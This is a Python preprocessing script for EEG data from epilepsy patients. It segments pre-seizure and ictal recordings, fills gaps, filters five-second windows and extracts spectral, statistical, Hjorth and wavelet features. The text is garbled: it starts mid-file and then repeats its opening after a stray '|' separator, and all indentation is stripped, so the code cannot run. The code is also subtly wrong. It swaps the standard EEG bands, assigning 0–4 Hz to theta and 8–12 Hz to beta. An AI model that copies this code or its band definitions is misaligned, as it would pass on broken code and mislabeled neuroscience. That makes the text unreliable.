electrodes_rows.append(np.where(header_label == 'c4')[0][0])
electrodes_rows.append(np.where(header_label == 'p3')[0][0])
electrodes_rows.append(np.where(header_label == 'p4')[0][0])
electrodes_rows.append(np.where(header_label == 'o1')[0][0])
electrodes_rows.append(np.where(header_label == 'o2')[0][0])
electrodes_rows.append(np.where(header_label == 'f7')[0][0])
electrodes_rows.append(np.where(header_label == 'f8')[0][0])
try:
electrodes_rows.append(np.where(header_label == 't3')[0][0])
except:
electrodes_rows.append(np.where(header_label == 't7')[0][0])
try:
electrodes_rows.append(np.where(header_label == 't4')[0][0])
except:
electrodes_rows.append(np.where(header_label == 't8')[0][0])
try:
electrodes_rows.append(np.where(header_label == 't5')[0][0])
except:
electrodes_rows.append(np.where(header_label == 'p7')[0][0])
try:
electrodes_rows.append(np.where(header_label == 't6')[0][0])
except:
electrodes_rows.append(np.where(header_label == 'p8')[0][0])
electrodes_rows.append(np.where(header_label == 'fz')[0][0])
electrodes_rows.append(np.where(header_label == 'cz')[0][0])
electrodes_rows.append(np.where(header_label == 'pz')[0][0])
#%% Concatenate seizure data (before seizure + ictal)
# First 3 seizures, for training: 4h before each seizure + ictal period;
# Remaining seizures, for testing: 30 mins after previous offset until onset + ictal period
# Signals, time vectors are concatenated; labels (ictal/non-ictal) added; exogenous variables for each seizure added
for ID in patient_IDs:
for EVTS in evts_list:
if sep + ID in EVTS:
print(f'Building seizure data for patient {ID}...')
all_onsets = np.load(EVTS, allow_pickle = True)[:,1]
all_offsets = np.load(EVTS, allow_pickle = True)[:,7]
exogenous = np.load(EVTS, allow_pickle = True)[:, 11:] # pattern, classification, vigilance, medicament, dosage
# find any onsets / offsets that are invalid (offset before onset, rare...)
annotation_errors = []
for i in range(len(all_onsets)):
if all_onsets[i]>all_offsets[i]:
annotation_errors.append(i)
# discard seizures that are too close together
clusters = []
for i in range(1,len(all_onsets)):
if all_onsets[i] - all_offsets[i-1] < h_between_onsets:
clusters.append(i)
# check if the first seizure has enough data before the onset; otherwise, discard it
not_enough_data = []
for pat in patient_list:
if "pat_" + ID in pat:
time_list = sorted(os.listdir(pat))
time_list = [s for s in time_list if 'timeVector' in s] # only files with "timeVector"
time_list = [pat + s for s in time_list]
rec_start = np.load(time_list[0], allow_pickle=True)[0]
if (all_onsets[0] - rec_start) < h_before_onset:
not_enough_data.append(0)
discard = np.unique(annotation_errors + clusters + not_enough_data)
print(f'Discarding seizures: {discard}')
if discard.size > 0:
onsets = np.delete(all_onsets, discard)
offsets = np.delete(all_offsets, discard)
exogenous = np.delete(exogenous, discard, 0)
else:
onsets = all_onsets
offsets = all_offsets
exogenous = exogenous
for pat in patient_list:
found_seizures = 0
if "pat_" + ID in pat:
time_list = sorted(os.listdir(pat))
time_list = [s for s in time_list if 'timeVector' in s] # only files with "timeVector"
time_list = [pat + s for s in time_list]
signal_list = sorted(os.listdir(pat))
signal_list = [s for s in signal_list if 'signalData' in s] # only files with "signalData"
signal_list = [pat + s for s in signal_list]
gap_list = sorted(os.listdir(pat))
gap_list = [s for s in gap_list if 'gapSeconds' in s] # only files with "gapSeconds"
gap_list = [pat + s for s in gap_list]
# reset these for each recording (optimize search)
t_start = 0
t_end = 0
if found_seizures > 0: # avoid looking for seizures already found (optimize search)
onsets = onsets[found_seizures:]
offsets = offsets[found_seizures:]
for o in range(len(onsets)):
print(f"Gathering data for seizure #{o+1}...")
# find beginning of the signal (different for training and testing seizures, read above)
if found_seizures < 3:
# find first signal that is X hours before the onset
searching_start = True
while searching_start and t_start <= len(time_list):
t_vector = np.load(time_list[t_start], allow_pickle=True)
gap = np.load(gap_list[t_start]).item(0) # check in case onset - X is in missing data segment
if t_vector[0] - dt.timedelta(seconds = gap) <= onsets[o] - h_before_onset and t_vector[-1] > onsets[o] - h_before_onset:
if gap > 0 and onsets[o] - h_before_onset < t_vector[0]:
gap_time = np.arange(1/fsampling, gap, 1/fsampling)
previous_t_vector = np.load(time_list[t_start-1], allow_pickle=True)
signal_array = np.load(signal_list[t_start], allow_pickle=True)[:,electrodes_rows].astype("float32")
previous_signal = np.load(signal_list[t_start-1], allow_pickle=True)[:,electrodes_rows].astype("float32")
signal_gap_input = (previous_signal[-1,:] + signal_array[0,:])/2
generated_time = np.array([previous_t_vector[-1] + dt.timedelta(seconds=gap_time[i]) for i in range(len(gap_time))])
generated_signal = np.ones((len(gap_time), 19), dtype="float32") * signal_gap_input
new_t_vector = np.concatenate((generated_time, t_vector))
new_signal_array = np.vstack((generated_signal, signal_array))
signal_start_idx = (np.abs(new_t_vector - (onsets[o] - h_before_onset))).argmin() # closest time sample
signal_start = new_signal_array[signal_start_idx:,:].astype("float32")
time_start = new_t_vector[signal_start_idx:]
else:
signal_start_idx = (np.abs(t_vector - (onsets[o] - h_before_onset))).argmin() # closest time sample
signal_array = np.load(signal_list[t_start], allow_pickle=True)[:,electrodes_rows].astype("float32")
signal_start = signal_array[signal_start_idx:,:].astype("float32")
time_start = t_vector[signal_start_idx:]
print(f"Found it! t_start = {t_start}")
searching_start = False
t_end = t_start # start looking for offset after onset (optimize search)
else:
t_start+=1
else:
# find first signal that is 30 mins after the previous offset (including discarded ones)
original_idx = np.where(all_onsets == onsets[o])[0][0]
if original_idx - 1 in annotation_errors:
after_last_offset = all_onsets[original_idx - 1] + m_postictal # use onset instead (rare, but it happens)
else:
after_last_offset = all_offsets[original_idx - 1] + m_postictal
searching_start = True
while searching_start and t_start <= len(time_list):
t_vector = np.load(time_list[t_start], allow_pickle=True)
gap = np.load(gap_list[t_start]).item(0) # check in case onset - X is in missing data segment
if t_vector[0] - dt.timedelta(seconds = gap) <= after_last_offset and t_vector[-1] > after_last_offset:
if gap > 0 and after_last_offset < t_vector[0]:
gap_time = np.arange(1/fsampling, gap, 1/fsampling) # !!! if a MemoryError occurs later, change this
previous_t_vector = np.load(time_list[t_start-1], allow_pickle=True)
signal_array = np.load(signal_list[t_start], allow_pickle=True)[:,electrodes_rows].astype("float32")
previous_signal = np.load(signal_list[t_start-1], allow_pickle=True)[:,electrodes_rows].astype("float32")
signal_gap_input = (previous_signal[-1,:] + signal_array[0,:])/2
generated_time = np.array([previous_t_vector[-1] + dt.timedelta(seconds=gap_time[i]) for i in range(len(gap_time))])
generated_signal = np.ones((len(gap_time), 19), dtype="float32") * signal_gap_input
new_t_vector = np.concatenate((generated_time, t_vector))
new_signal_array = np.vstack((generated_signal, signal_array)).astype("float32")
signal_start_idx = (np.abs(new_t_vector - (after_last_offset))).argmin() # closest time sample
signal_start = new_signal_array[signal_start_idx:,:]
time_start = new_t_vector[signal_start_idx:]
else:
signal_start_idx = (np.abs(t_vector - (after_last_offset))).argmin() # closest time sample
signal_array = np.load(signal_list[t_start], allow_pickle=True)[:,electrodes_rows].astype("float32")
signal_start = signal_array[signal_start_idx:,:].astype("float32")
time_start = t_vector[signal_start_idx:]
print(f"Found it! t_start = {t_start}")
searching_start = False
t_end = t_start # start looking for offset after onset (optimize search)
else:
t_start+=1
# find first signal that contains the offset
searching_end = True
if t_start == len(time_list):
searching_end = False # start searching in a different recording (optimize search)
while searching_end and t_end <= len(time_list):
t_vector = np.load(time_list[t_end], allow_pickle=True)
if t_vector[0] <= offsets[o] and t_vector[-1] > offsets[o]:
signal_end_idx = (np.abs(t_vector - offsets[o])).argmin() # closest time sample
signal_array = np.load(signal_list[t_end], allow_pickle=True)[:,electrodes_rows].astype("float32")
signal_end = signal_array[:signal_end_idx,:].astype("float32")
time_end = t_vector[:signal_end_idx]
print(f"Found it! t_end = {t_end}")
searching_end = False
else:
t_end+=1
if t_start != len(time_list): # find remaining signals between the previous segments and concatenate all of them; check for gaps!
if t_start == t_end: # may happen in large files that span several hours...
signal_segment = signal_array[signal_start_idx:signal_end_idx]
time_segment = t_vector[signal_start_idx:signal_end_idx]
for t in range(t_start+1,t_end+1):
print(f"Concatenating! t = {t}")
if t==t_start+1:
t_vector = np.load(time_list[t], allow_pickle=True)
signal_array = np.load(signal_list[t], allow_pickle = True)[:,electrodes_rows].astype("float32")
gap = np.load(gap_list[t])
if gap > 0:
# generate vector with missing samples (time and signal)
gap_time = np.arange(1/fsampling, gap, 1/fsampling)
previous_t_vector = np.load(time_list[t-1], allow_pickle=True)
#previous_signal = np.load(signal_list[t-1], allow_pickle=True)[:,0:19]
signal_gap_input = (signal_start[-1,:] + signal_array[0,:])/2
generated_time = np.array([previous_t_vector[-1] + dt.timedelta(seconds=gap_time[i]) for i in range(len(gap_time))])
generated_signal = np.ones((len(gap_time), 19), dtype="float32") * signal_gap_input
time_segment = np.concatenate((time_start, generated_time, t_vector))
signal_segment = np.vstack((signal_start, generated_signal, signal_array)).astype("float32")
else:
time_segment = np.concatenate((time_start, t_vector))
signal_segment = np.vstack((signal_start, signal_array)).astype("float32")
elif t==t_end:
gap = np.load(gap_list[t])
if gap > 0:
# generate vector with missing samples (time and signal)
gap_time = np.arange(1/fsampling, gap, 1/fsampling)
previous_t_vector = np.load(time_list[t-1], allow_pickle=True)
#previous_signal = np.load(signal_list[t-1], allow_pickle=True)[:,0:19]
signal_gap_input = (signal_segment[-1,:] + signal_end[0,:])/2
generated_time = np.array([previous_t_vector[-1] + dt.timedelta(seconds=gap_time[i]) for i in range(len(gap_time))])
generated_signal = np.ones((len(gap_time), 19), dtype="float32") * signal_gap_input
time_segment = np.concatenate((time_segment, generated_time, time_end))
signal_segment = np.vstack((signal_segment, generated_signal, signal_end)).astype("float32")
else:
time_segment = np.concatenate((time_segment, time_end))
signal_segment = np.vstack((signal_segment, signal_end))[:,:].astype("float32")
else:
t_vector = np.load(time_list[t], allow_pickle=True)
signal_array = np.load(signal_list[t], allow_pickle = True)[:,electrodes_rows].astype("float32")
gap = np.load(gap_list[t])
if gap > 0:
# generate vector with missing samples (time and signal)
gap_time = np.arange(1/fsampling, gap, 1/fsampling)
previous_t_vector = np.load(time_list[t-1], allow_pickle=True)
#previous_signal = np.load(signal_list[t-1], allow_pickle=True)[:,0:19]
signal_gap_input = (signal_segment[-1,:] + signal_array[0,:])/2
generated_time = np.array([previous_t_vector[-1] + dt.timedelta(seconds=gap_time[i]) for i in range(len(gap_time))])
generated_signal = np.ones((len(gap_time), 19), dtype="float32") * signal_gap_input
time_segment = np.concatenate((time_segment, generated_time, t_vector))
signal_segment = np.vstack((signal_segment, generated_signal, signal_array)).astype("float32")
else:
time_segment = np.concatenate((time_segment, t_vector))
signal_segment = np.vstack((signal_segment, signal_array)).astype("float32")
# label time_segment and signal_segment: 0 = non-ictal; 2 = ictal
ictal_start_idx = (np.abs(time_segment - onsets[o])).argmin() # closest time sample
label_segment = np.zeros(time_segment.shape)
label_segment[ictal_start_idx:] = 2
# save each seizure data in "Seizures" folder as: patX_seizureY_signal, patX_seizureY_time, patX_seizureY_label
found_seizures+=1
print(f'Saving seizure #{o+1}...')
np.save(path + 'Seizures' + sep + 'pat' + ID + '_seizure'+ str(found_seizures) + '_timeVector', time_segment)
np.save(path + 'Seizures' + sep + 'pat' + ID + '_seizure' + str(found_seizures) + '_signalData', signal_segment)
np.save(path + 'Seizures' + sep + 'pat' + ID + '_seizure' + str(found_seizures) + '_labelVector', label_segment)
np.save(path + 'Seizures' + sep + 'pat' + ID + '_seizure' + str(found_seizures) + '_exogenousVariables', exogenous[o])
#%% Window segmentation (5 secs, no overlap)
# Segment seizure data in windows, create labels for windowed data and extract linear univariate features
seizure_list = sorted(os.listdir(path + 'Seizures' + sep))
seizure_list = [path + 'Seizures' + sep + s for s in seizure_list]
signal_list = [s for s in seizure_list if 'signalData' in s] # only files with "signalData"
#time_list = [s for s in seizure_list if 'timeVector' in s] # only files with "timeVector"
label_list = [s for s in seizure_list if 'labelVector' in s] # only files with "labelVector"
for ID in patient_IDs:
print(f'Segmenting data for patient {ID}...')
for i in range(len(signal_list)):
if "pat" + ID in signal_list[i]:
sig = np.load(signal_list[i], allow_pickle = True)
labels = np.load(label_list[i], allow_pickle = True)
#times = np.load(time_list[i], allow_pickle = True)
print(f'Splitting signal {signal_list[i].split('Seizures' + sep)[1]}')
windows = []
windows_label = []
idx = 0
while idx + window_size < len(sig):
win = sig[idx:idx + window_size,:]
lab = labels[idx:idx + window_size]
# label window: if any ictal samples are present, classify whole window as ictal
if np.any(lab == 2) == True:
windows_label.append(2)
else:
windows_label.append(0)
# apply filters and save window
win_notch = signal.lfilter(b_notch, a_notch, win)
win_filtered = signal.lfilter(b_HPF, a_HPF, win_notch)
windows.append(np.array(win_filtered, dtype="float32"))
idx += window_size + 1
print('Saving windowed signal and labels...')
np.save(signal_list[i].split('_signalData.npy')[0].replace('Seizures', 'Seizures_windowed')+ '_windowData', windows)
np.save(signal_list[i].split('_signalData.npy')[0].replace('Seizures', 'Seizures_windowed')+ '_windowLabel', windows_label)
#np.save(signal_list[i].split('_signalData.npy')[0].replace('Seizures', 'Seizures_windowed')+ '_windowTime', windows_time)
#%% Feature extraction (linear univariate features)
window_list = sorted(os.listdir(path + 'Seizures_windowed' + sep))
window_list = [path + 'Seizures_windowed' + sep + s for s in window_list]
signal_list = [s for s in window_list if 'windowData' in s] # only files with "windowData"
for ID in patient_IDs:
print(f'Extracting features for patient {ID}...')
for i in range(len(signal_list)):
if "pat" + ID in signal_list[i]:
sig = np.load(signal_list[i], allow_pickle = True)
print(f'Computing features from {signal_list[i].split('Seizures_windowed' + sep)[1]}')
feature_mean = []
feature_variance = []
feature_skewness = []
feature_kurtosis = []
feature_thetapower = []
feature_deltapower = []
feature_betapower = []
feature_alphapower = []
#feature_gammapower = []
feature_lowgammapower = []
feature_highgammapower = []
feature_hjorth_act = []
feature_hjorth_mob = []
feature_hjorth_com = []
feature_sef50 = []
feature_sef75 = []
feature_sef90 = []
feature_wavelet_energy_a7 = []
feature_wavelet_energy_d7 = []
feature_wavelet_energy_d6 = []
feature_wavelet_energy_d5 = []
feature_wavelet_energy_d4 = []
feature_wavelet_energy_d3 = []
feature_wavelet_energy_d2 = []
feature_wavelet_energy_d1 = []
#feature_circadian_rhythm = []
for j in range(sig.shape[0]):
window = sig[j, :, :]
# MEAN
mean = np.mean(window, axis = 0)
feature_mean.append(mean)
# VARIANCE
variance = np.var(window, axis = 0, ddof = 1)
feature_variance.append(variance)
# SKEWNESS
sum = 0
for x in window:
sum += (x - mean)**3
skewness = ((1 / (len(window) - 1)) * sum) / (np.std(window, axis = 0)**3)
feature_skewness.append(skewness)
# KURTOSIS
sum = 0
for x in window:
sum += (x - mean)**4
kurtosis = (((1 / (len(window) - 1)) * sum) / ((len(window) - 1) * np.std(window, axis = 0)**4)) - 3
feature_kurtosis.append(kurtosis)
# RELATIVE SPECTRAL POWER
psd = []
for channel in range(window.shape[1]):
freqs, power = signal.welch(window[:,channel], fsampling)
psd.append(power)
thetapower = []
deltapower = []
betapower = []
alphapower = []
gammapower = []
lowgammapower = []
highgammapower = []
for spectrum in psd:
theta = integrate.simps(spectrum[theta_range[0]:theta_range[1]+1]) / integrate.simps(spectrum)
thetapower.append(theta)
delta = integrate.simps(spectrum[delta_range[0] : delta_range[1]+1]) / integrate.simps(spectrum)
deltapower.append(delta)
beta = integrate.simps(spectrum[beta_range[0] : beta_range[1]+1]) / integrate.simps(spectrum)
betapower.append(beta)
alpha = integrate.simps(spectrum[alpha_range[0] : alpha_range[1]+1]) / integrate.simps(spectrum)
alphapower.append(alpha)
#gamma = integrate.simps(spectrum[gamma_range[0] : gamma_range[1]+1]) / integrate.simps(spectrum)
#gammapower.append(gamma)
low_gamma = integrate.simps(spectrum[low_gamma_range[0] : low_gamma_range[1]+1]) / integrate.simps(spectrum)
lowgammapower.append(low_gamma)
high_gamma = integrate.simps(spectrum[high_gamma_range[0] : high_gamma_range[1]+1]) / integrate.simps(spectrum)
highgammapower.append(high_gamma)
feature_thetapower.append(np.array(thetapower))
feature_deltapower.append(np.array(deltapower))
feature_betapower.append(np.array(betapower))
feature_alphapower.append(np.array(alphapower))
#feature_gammapower.append(np.array(gammapower))
feature_lowgammapower.append(np.array(lowgammapower))
feature_highgammapower.append(np.array(highgammapower))
# HJORTH PARAMETERS
deriv1 = np.gradient(window, axis = 0)
deriv2 = np.gradient(deriv1, axis = 0)
hjorth_act = variance
hjorth_mob = np.sqrt(np.var(deriv1, axis = 0, ddof = 1)/np.var(window, axis = 0, ddof = 1))
hjorth_com = np.sqrt((np.var(deriv2, axis = 0, ddof = 1)*np.var(window, axis = 0, ddof = 1))/np.var(deriv1, axis = 0, ddof = 1)**2)
feature_hjorth_act.append(hjorth_act)
feature_hjorth_mob.append(hjorth_mob)
feature_hjorth_com.append(hjorth_com)
# SPECTRAL EDGE FREQUENCY (50%, 75%, 90%)
sef50percent = []
sef75percent = []
sef90percent = []
for spectrum in psd:
power_cum = integrate.cumtrapz(spectrum)
sef50 = (np.abs(power_cum - 0.5*integrate.trapz(spectrum))).argmin() # closest freq holding 50% spectral power
sef50percent.append(sef50)
sef75 = (np.abs(power_cum - 0.75*integrate.trapz(spectrum))).argmin() # closest freq holding 75% spectral power
sef75percent.append(sef75)
sef90 = (np.abs(power_cum - 0.9*integrate.trapz(spectrum))).argmin() # closest freq holding 90% spectral power
sef90percent.append(sef90)
feature_sef50.append(np.array(sef50percent))
feature_sef75.append(np.array(sef75percent))
feature_sef90.append(np.array(sef90percent))
# WAVELET COEFFICIENTS (ENERGY)
a7_energy = []; d7_energy = []; d6_energy = []; d5_energy = []
d4_energy = []; d3_energy = []; d2_energy = []; d1_energy = []
for channel in range(window.shape[1]):
coeffs = pywt.wavedec(window[:, channel], mother_wavelet, level = 8)
# coeffs -> [A7, D7, D6, D5, D4, D3, D2, D1]
a7_energy.append(np.sum(np.abs(np.power(coeffs[0], 2))))
d7_energy.append(np.sum(np.abs(np.power(coeffs[1], 2))))
d6_energy.append(np.sum(np.abs(np.power(coeffs[2], 2))))
d5_energy.append(np.sum(np.abs(np.power(coeffs[3], 2))))
d4_energy.append(np.sum(np.abs(np.power(coeffs[4], 2))))
d3_energy.append(np.sum(np.abs(np.power(coeffs[5], 2))))
d2_energy.append(np.sum(np.abs(np.power(coeffs[6], 2))))
d1_energy.append(np.sum(np.abs(np.power(coeffs[7], 2))))
feature_wavelet_energy_a7.append(a7_energy)
feature_wavelet_energy_d7.append(d7_energy)
feature_wavelet_energy_d6.append(d6_energy)
feature_wavelet_energy_d5.append(d5_energy)
feature_wavelet_energy_d4.append(d4_energy)
feature_wavelet_energy_d3.append(d3_energy)
feature_wavelet_energy_d2.append(d2_energy)
feature_wavelet_energy_d1.append(d1_energy)
# CIRCADIAN RHYTHM (seconds of the day, between 0 and 86400 -> normalize to 0-1)
#circadian = (window_time[0].hour * 3600 + window_time[0].minute * 60) / (24 * 3600)
#feature_circadian_rhythm.append(np.ones((19)) * circadian)
print('Saving features...')
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_mean', feature_mean)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_var', feature_variance)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_skew', feature_skewness)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_kurt', feature_kurtosis)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_theta', feature_thetapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_delta', feature_deltapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_beta', feature_betapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_alpha', feature_alphapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_lowgamma', feature_lowgammapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_highgamma', feature_highgammapower)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_h_act', feature_hjorth_act)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_h_mob', feature_hjorth_mob)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_h_com', feature_hjorth_com)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_sef50', feature_sef50)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_sef75', feature_sef75)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_sef90', feature_sef90)
#np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_circadian', feature_circadian_rhythm)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_a7', feature_wavelet_energy_a7)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d7', feature_wavelet_energy_d7)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d6', feature_wavelet_energy_d6)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d5', feature_wavelet_energy_d5)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d4', feature_wavelet_energy_d4)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d3', feature_wavelet_energy_d3)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d2', feature_wavelet_energy_d2)
np.save(signal_list[i].split('_windowData.npy')[0].replace('Seizures_windowed', 'Features')+ '_d1', feature_wavelet_energy_d1)
#%% Organize data for the evolutionary framework
feature_list = sorted(os.listdir(path + 'Features' + sep))
feature_list = [path + 'Features' + sep + s for s in feature_list]
window_labels = [s for s in window_list if 'windowLabel' in s] # only files with "windowLabel"
seizure_exogenous = [s for s in seizure_list if 'exogenousVariables' in s] # only files with "exogenousVariables"
# Build array containing: feature values, labels, missingdata/flat percentage (for each window); columns = time, rows = feature/others
# Build label for the array created above; feature values = electrodeX_featureY
for ID in patient_IDs:
# Get required files for all seizures of each patient: feature values, labels, missing/flat info
feature_list_patient = []
label_list_patient = []
flat_list_patient = []
saturated_list_patient = []
missing_list_patient = []
exogenous_list_patient = []
print(f'Organizing data for patient {ID}...')
for i in range(len(feature_list)):
if "pat" + ID in feature_list[i]:
feature_list_patient.append(feature_list[i])
for j in range(len(window_labels)):
if "pat" + ID in window_labels[j]:
label_list_patient.append(window_labels[j])
for j in range(len(seizure_exogenous)):
if "pat" + ID in seizure_exogenous[j]:
exogenous_list_patient.append(seizure_exogenous[j])
# used to detect number of seizures for each patient
if len(feature_list_patient) % number_of_features == 0:
seizures_number = len(feature_list_patient) / number_of_features
# build, for each seizure, matrix containing feature values, classification labels (in this order)
for j in range(0, len(feature_list_patient), number_of_features):
seizure_features = feature_list_patient[j:j + number_of_features]
seizure_ID = seizure_features[0].split(sep="_")[1]
seizure_no = int(seizure_ID.split("seizure")[1])
feature_matrix = np.load(seizure_features[0], allow_pickle = True).T # transpose so that rows = features, columns = window
for k in range(1, len(seizure_features)):
feature_matrix = np.vstack((feature_matrix, np.load(seizure_features[k], allow_pickle = True).T))
# add classification labels
feature_matrix = np.vstack((feature_matrix, np.load([x for x in label_list_patient if seizure_ID+"_" in x][0], allow_pickle = True).T))
np.save(path + 'Evol2' + sep + 'pat' + ID + '_seizure'+ str(seizure_no) + '_featureMatrix', feature_matrix)
else:
print(f'Could not detect number of seizures for patient {ID}! Please update feature labels...')
# build array with exogenous information for all seizures
exogenous_matrix = []
for j in range(len(exogenous_list_patient)):
exogenous_matrix.append(np.load(exogenous_list_patient[j], allow_pickle = True))
np.save(path + 'Evol2' + sep + 'pat' + ID + '_seizureInfo', exogenous_matrix)
# build legend (same for all patients)
legend = []
for i in range(len(feature_labels)):
for j in range(len(electrodes_label)):
legend.append(electrodes_label[j] + '_' + feature_labels[i])
legend.append('class')
np.save(path + 'Evol2' + sep + 'legend', legend) # !!! mudar de volta para Evol depois
print("\a") # beep when done :) | """
a code to pre-process and extract fist-level features from raw data from the selected patients.
the output will be the extracted features, chronologically, in 5 second non-overlapping windows
order by patient and seizure.
format output name:pat[patient_number]_seizure[seizure_number]_featureMatrix.npy
example output name: pat102_seizure_1_featureMatrix.npy
this code can not be executed
as the original data from Epilepsiae can not be available online for public use
due to ethical concers
"""
import numpy as np
#import matplotlib.pyplot as plt
import datetime as dt
import os
from scipy import signal, integrate
import pywt
#%% Path setup and patient selection
#path = "/Users/Tiago/Desktop/Research/Data"
path = "D:\\O nosso paper\\Data"
sep = os.path.sep
if path[-1] != sep:
path+=sep
patient_selection = input('Enter patient ID: ')
patient_IDs = patient_selection.split(sep = ',') # allow user to enter multiple IDs separated by commas
patient_fs = int(input('Enter original sampling frequency (Hz): ')) # used for downsampling (if higher than 256Hz)
#%% Hyperparameters (e.g. seizure time, sliding window, filtering, ...)
# BUILDING SEIZURE DATA:
h_before_onset = dt.timedelta(hours = 4) # how many hours before onset?
h_between_onsets = dt.timedelta(hours = 4.5) # how many hours between seizures (cluster assumption)?
m_postictal = dt.timedelta(minutes = 30) # how many minutes of post-itcal (avoid influence in inter-ictal)?
# SLIDING WINDOW:
fsampling = 256 # sampling frequency (Hz)
window_size = fsampling * 5 # in number of samples
overlap = 0 # in number of samples
# FILTERING:
f_notch = 50 # power-line interference
Q = 30
b_notch, a_notch = signal.iirnotch(f_notch, Q, fsampling) # notch filter
f_HPF = 0.5 # remove DC component and breathing artifacts (slow drifts)
order = 4
b_HPF, a_HPF = signal.butter(order, f_HPF, 'highpass', fs = fsampling)
# FEATURE EXTRACTION:
# Features: statistical moments, spectral band power, SEF, wavelets, hjorth parameters (more?)
feature_labels = np.sort(['mean', 'var', 'skew', 'kurt', 'theta', 'delta', 'beta', 'alpha', 'lowgamma', 'highgamma',
'h_act', 'h_com', 'h_mob', 'sef50', 'sef75', 'sef90',
'a7', 'd7', 'd6', 'd5', 'd4', 'd3', 'd2', 'd1'])
number_of_features = len(feature_labels) # used later to detect number of seizures for each patient
theta_range = [0, 4]
delta_range = [4, 8]
beta_range = [8, 12]
alpha_range = [13, 30]
gamma_range = [30, 128]
low_gamma_range = [30, 79]
high_gamma_range = [79, 128]
mother_wavelet = pywt.Wavelet('db4')
#%% List all EVTS and patients
evts_list = sorted(os.listdir(path + 'EVTS' + sep))
evts_list = [s for s in evts_list if 'dataEvts' in s] # only files with "dataEvts"
evts_list = [path + 'EVTS' + sep + s for s in evts_list]
patient_list = sorted(os.listdir(path))
patient_list = [s for s in patient_list if 'pat' in s] # only folders with "pat"
patient_list = [path + s + sep for s in patient_list]
#%% Retrieve electrode labels / rows from data header
for ID in patient_IDs:
for pat in patient_list:
if "pat_" + ID in pat:
print(f'Gathering time vectors and gaps for patient {ID}...')
signal_list = sorted(os.listdir(pat))
signal_list = [s for s in signal_list if 'signalData' in s] # only files with "signalData"
signal_list = [pat + s for s in signal_list]
header_list = sorted(os.listdir(pat))
header_list = [s for s in header_list if 'dataHead' in s] # only files with "dataHead"
header_list = [pat + s for s in header_list]
header = np.load(header_list[0], allow_pickle = True)
# Retrieve electrode labels and find which rows correspond to them
electrodes_label = np.array(['FP1', 'FP2', 'F3', 'F4', 'C3', 'C4', 'P3', 'P4', 'O1', 'O2',
'F7', 'F8', 'T3', 'T4', 'T5', 'T6', 'Fz', 'Cz', 'Pz'])
# !!! Some patients seem to have the header in a different index
if patient_fs == 400:
header_label = np.array([x.lower() for x in header.item(6)])
else:
header_label = np.array([x.lower() for x in header.item(6)]) #!!! mudar para 5 depois
electrodes_rows = []
electrodes_rows.append(np.where(header_label == 'fp1')[0][0])
electrodes_rows.append(np.where(header_label == 'fp2')[0][0])
electrodes_rows.append(np.where(header_label == 'f3')[0][0])
electrodes_rows.append(np.where(header_label == 'f4')[0][0])
electrodes_rows.append(np.where(header_label == 'c3')[0][0])
electrodes_rows.append(np.where(header_label == 'c4')[0][0])
electrodes_rows.append(np.where(header_label == 'p3')[0][0])
electrodes_rows.append(np.where(header_label == 'p4')[0][0])
electrodes_rows.append(np.where(header_label == 'o1')[0][0])
electrodes_rows.append(np.where(header_label == 'o2')[0][0])
electrodes_rows.append(np.where(header_label == 'f7')[0][0])
electrodes_rows.append(np.where(header_label == 'f8')[0][0])
try:
electrodes_rows.append(np.where(header_label == 't3')[0][0])
except:
electrodes_rows.append(np.where(header_label == 't7')[0][0])
try:
electrodes_rows.append(np.where(header_label == 't4')[0][0])
except:
electrodes_rows.append(np.where(header_label == 't8')[0][0])
try:
electrodes_rows.append(np.where(header_label == 't5')[0][0])
except:
electrodes_rows.append(np.where(header_label == 'p7')[0][0])
try:
electrodes_rows.append(np.where(header_label == 't6')[0][0])
except:
electrodes_rows.append(np.where(header_label == 'p8')[0][0])
electrodes_rows.append(np.where(header_label == 'fz')[0][0])
electrodes_rows.append(np.where(header_label == 'cz')[0][0])
electrodes_rows.append(np.where(header_label == 'pz')[0][0])
#%% Concatenate seizure data (before seizure + ictal)
# First 3 seizures, for training: 4h before each seizure + ictal period;
# Remaining seizures, for testing: 30 mins after previous offset until onset + ictal period
# Signals, time vectors are concatenated; labels (ictal/non-ictal) added; exogenous variables for each seizure added
for ID in patient_IDs:
for EVTS in evts_list:
if sep + ID in EVTS:
print(f'Building seizure data for patient {ID}...')
all_onsets = np.load(EVTS, allow_pickle = True)[:,1]
all_offsets = np.load(EVTS, allow_pickle = True)[:,7]
exogenous = np.load(EVTS, allow_pickle = True)[:, 11:] # pattern, classification, vigilance, medicament, dosage
# find any onsets / offsets that are invalid (offset before onset, rare...)
annotation_errors = []
